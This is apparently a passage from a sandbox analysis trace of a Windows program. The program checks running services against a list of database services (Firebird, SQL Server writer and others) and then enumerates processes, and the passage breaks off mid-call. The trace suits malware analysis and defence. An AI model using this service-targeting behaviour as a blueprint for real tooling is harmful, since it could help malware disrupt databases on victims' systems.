[0159.307] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0159.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0159.307] lstrlenW (lpString="RpcSs") returned 5 [0159.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0159.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0159.307] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0159.307] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0159.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0159.308] lstrlenW (lpString="SamSs") returned 5 [0159.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0159.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0159.308] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0159.308] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0159.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0159.308] lstrlenW (lpString="Schedule") returned 8 [0159.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0159.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0159.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0159.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0159.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0159.308] lstrlenW (lpString="SecurityHealthService") returned 21 [0159.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0159.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0159.308] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0159.308] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0159.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0159.308] lstrlenW (lpString="SENS") returned 4 [0159.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0159.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0159.308] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0159.308] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0159.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0159.308] lstrlenW (lpString="ShellHWDetection") returned 16 [0159.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.308] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0159.308] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0159.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0159.308] lstrlenW (lpString="Spooler") returned 7 [0159.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0159.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0159.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0159.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0159.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0159.309] lstrlenW (lpString="SSDPSRV") returned 7 [0159.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0159.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0159.309] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0159.309] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0159.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0159.309] lstrlenW (lpString="StateRepository") returned 15 [0159.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0159.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0159.309] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0159.309] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0159.309] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e9780 | out: hHeap=0x790000) returned 1 [0159.309] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0159.315] Process32FirstW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.315] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0159.345] lstrlenW (lpString="System") returned 6 [0159.346] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0159.346] lstrlenW (lpString="smss.exe") returned 8 [0159.346] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.347] lstrlenW (lpString="csrss.exe") returned 9 [0159.347] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0159.348] lstrlenW (lpString="wininit.exe") returned 11 [0159.348] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.349] lstrlenW (lpString="csrss.exe") returned 9 [0159.349] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0159.349] lstrlenW (lpString="winlogon.exe") returned 12 [0159.350] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0159.350] lstrlenW (lpString="services.exe") returned 12 [0159.350] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0159.351] lstrlenW (lpString="lsass.exe") returned 9 [0159.351] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.352] lstrlenW (lpString="svchost.exe") returned 11 [0159.352] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0159.352] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0159.352] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0159.353] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0159.353] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.354] lstrlenW (lpString="svchost.exe") returned 11 [0159.354] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0159.354] lstrlenW (lpString="dwm.exe") returned 7 [0159.354] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.355] lstrlenW (lpString="svchost.exe") returned 11 [0159.355] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.356] lstrlenW (lpString="svchost.exe") returned 11 [0159.356] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.356] lstrlenW (lpString="svchost.exe") returned 11 [0159.357] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.357] lstrlenW (lpString="svchost.exe") returned 11 [0159.357] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.358] lstrlenW (lpString="svchost.exe") returned 11 [0159.358] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.359] lstrlenW (lpString="svchost.exe") returned 11 [0159.359] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.359] lstrlenW (lpString="svchost.exe") returned 11 [0159.359] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.360] lstrlenW (lpString="svchost.exe") returned 11 [0159.360] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.361] lstrlenW (lpString="svchost.exe") returned 11 [0159.361] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0159.361] lstrlenW (lpString="spoolsv.exe") returned 11 [0159.361] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.362] lstrlenW (lpString="svchost.exe") returned 11 [0159.362] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.363] lstrlenW (lpString="svchost.exe") returned 11 [0159.363] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0159.364] lstrlenW (lpString="audiodg.exe") returned 11 [0159.364] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0159.364] lstrlenW (lpString="sihost.exe") returned 10 [0159.365] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.365] lstrlenW (lpString="svchost.exe") returned 11 [0159.365] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0159.366] lstrlenW (lpString="taskhostw.exe") returned 13 [0159.366] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0159.367] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0159.367] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0159.367] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0159.367] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0159.368] lstrlenW (lpString="explorer.exe") returned 12 [0159.368] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0159.369] lstrlenW (lpString="Memory Compression") returned 18 [0159.369] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0159.370] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0159.370] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0159.370] lstrlenW (lpString="SearchUI.exe") returned 12 [0159.370] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0159.371] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0159.371] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0159.372] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0159.372] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0159.372] lstrlenW (lpString="taskhostw.exe") returned 13 [0159.372] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0159.373] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0159.373] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0159.374] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0159.374] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0159.374] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0159.374] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0159.375] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0159.375] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0159.376] lstrlenW (lpString="conhost.exe") returned 11 [0159.376] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0159.376] lstrlenW (lpString="screensaver.exe") returned 15 [0159.376] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0159.377] lstrlenW (lpString="upperarc.exe") returned 12 [0159.377] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0159.378] lstrlenW (lpString="buying.exe") returned 10 [0159.378] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0159.382] lstrlenW (lpString="downloadable.exe") returned 16 [0159.382] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0159.383] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0159.383] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0159.384] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0159.384] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0159.385] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0159.385] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0159.386] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0159.386] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0159.387] lstrlenW (lpString="moments.exe") returned 11 [0159.387] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0159.387] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0159.387] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0159.388] lstrlenW (lpString="stream-test.exe") returned 15 [0159.388] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0159.389] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0159.389] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0159.389] lstrlenW (lpString="taskhostw.exe") returned 13 [0159.389] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0159.390] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0159.390] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0159.391] lstrlenW (lpString="movers-indication.exe") returned 21 [0159.391] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: 